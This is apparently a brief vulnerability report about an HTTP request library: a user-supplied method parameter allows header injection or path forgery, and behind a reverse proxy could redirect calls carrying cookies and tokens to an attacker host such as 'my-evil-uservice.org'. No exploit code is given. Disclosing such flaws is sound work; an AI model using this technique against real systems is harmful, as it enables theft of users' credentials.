If the developer is using Request to abstract generating HTTP calls and he's accepting a method param from the user, the user can do some magic like header injection or path forgery.
This can be exploited in many ways and seems to be quite important especially in case there is a reverse proxy is in place. A proxy may just pass someone's request to any host base on host header.
Let's assume I'm replacing example.com with my-evil-uservice.org and the victim is working in a company behind the proxy. This means I can redirect calls with headers/cookies(tokens) and blah blah blah. Base on this, stealing calls with all headers/cookies can happen.
